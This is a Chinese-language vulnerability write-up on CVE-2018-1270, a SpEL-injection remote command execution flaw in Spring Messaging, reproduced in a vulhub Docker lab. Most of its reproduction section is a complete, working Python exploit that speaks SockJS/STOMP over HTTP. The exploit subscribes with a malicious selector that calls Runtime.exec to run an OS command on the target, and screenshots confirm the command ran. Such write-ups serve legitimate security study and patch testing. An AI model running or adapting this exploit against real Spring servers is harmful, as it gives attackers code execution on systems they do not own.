menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2018-1270)Spring Messaging 远程命令执行漏洞 chevron_right (CVE-2018-1270)Spring Messaging 远程命令执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2018-1270)Spring Messaging 远程命令执行漏洞.md
    4.55 KB / 2021-07-15 20:04:27
        (CVE-2018-1270)Spring Messaging 远程命令执行漏洞
    ==================================================
    
    一、漏洞简介
    ------------
    
    spring
    messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,
    
    在spring
    messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用`StandardEvaluationContext`解析,造成命令执行漏洞。
    
    二、漏洞影响
    ------------
    
    Spring Java Framework \< 5.0
    
    三、复现过程
    ------------
    
    网上大部分文章都说spring messaging是基于websocket通信,其实不然。spring
    messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。
    
    连接后端服务器的流程,可以理解为:
    
    1.  用[STOMP协议](http://jmesnil.net/stomp-websocket/doc/)将数据组合成一个文本流
    2.  用[sockjs协议](https://github.com/sockjs/sockjs-client)发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信
    
    所以我们可以使用http来复现漏洞,称之为"降维打击"。
    
    我编写了一个简单的POC脚本exploit.py(需要用python3.6执行),因为该漏洞是订阅的时候插入SpEL表达式,而对方向这个订阅发送消息时才会触发,所以我们需要指定的信息有:
    
    1.  基础地址,在vulhub中为`http://your-ip:8080/gs-guide-websocket`
    2.  待执行的SpEL表达式,如`T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')`
    3.  某一个订阅的地址,如vulhub中为:`/topic/greetings`
    4.  如何触发这个订阅,即如何让后端向这个订阅发送消息。在vulhub中,我们向`/app/hello`发送一个包含name的json,即可触发这个事件。当然在实战中就不同了,所以这个poc并不具有通用性。
    
    根据你自己的需求修改POC。如果是vulhub环境,你只需修改1中的url即可。
    
        CVE-2018-1270.py
        #!/usr/bin/env python3
        import requests
        import random
        import string
        import time
        import threading
        import logging
        import sys
        import json
    
        logging.basicConfig(stream=sys.stdout, level=logging.INFO)
    
        def random_str(length):
            letters = string.ascii_lowercase + string.digits
            return ''.join(random.choice(letters) for c in range(length))
    
    
        class SockJS(threading.Thread):
            def __init__(self, url, *args, **kwargs):
                super().__init__(*args, **kwargs)
                self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
                self.daemon = True
                self.session = requests.session()
                self.session.headers = {
                    'Referer': url,
                    'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
                }
                self.t = int(time.time()*1000)
    
            def run(self):
                url = f'{self.base}/htmlfile?c=_jp.vulhub'
                response = self.session.get(url, stream=True)
                for line in response.iter_lines():
                    time.sleep(0.5)
            
            def send(self, command, headers, body=''):
                data = [command.upper(), '\n']
    
                data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
                
                data.append('\n\n')
                data.append(body)
                data.append('\x00')
                data = json.dumps([''.join(data)])
    
                response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
                if response.status_code != 204:
                    logging.info(f"send '{command}' data error.")
                else:
                    logging.info(f"send '{command}' data success.")
    
            def __del__(self):
                self.session.close()
    
    
        sockjs = SockJS('http://your-ip:8080/gs-guide-websocket')
        sockjs.start()
        time.sleep(1)
    
        sockjs.send('connect', {
            'accept-version': '1.1,1.0',
            'heart-beat': '10000,10000'
        })
        sockjs.send('subscribe', {
            'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')",
            'id': 'sub-0',
            'destination': '/topic/greetings'
        })
    
        data = json.dumps({'name': 'vulhub'})
        sockjs.send('send', {
            'content-length': len(data),
            'destination': '/app/hello'
        }, data)
    
    执行:
    
    ![1.png](./resource/(CVE-2018-1270)SpringMessaging远程命令执行漏洞/media/rId26.png)
    
    进入容器`docker-compose exec spring bash`,可见`/tmp/success`已成功创建:
    
    ![2.png](./resource/(CVE-2018-1270)SpringMessaging远程命令执行漏洞/media/rId27.png)
    
    
    links
    file_download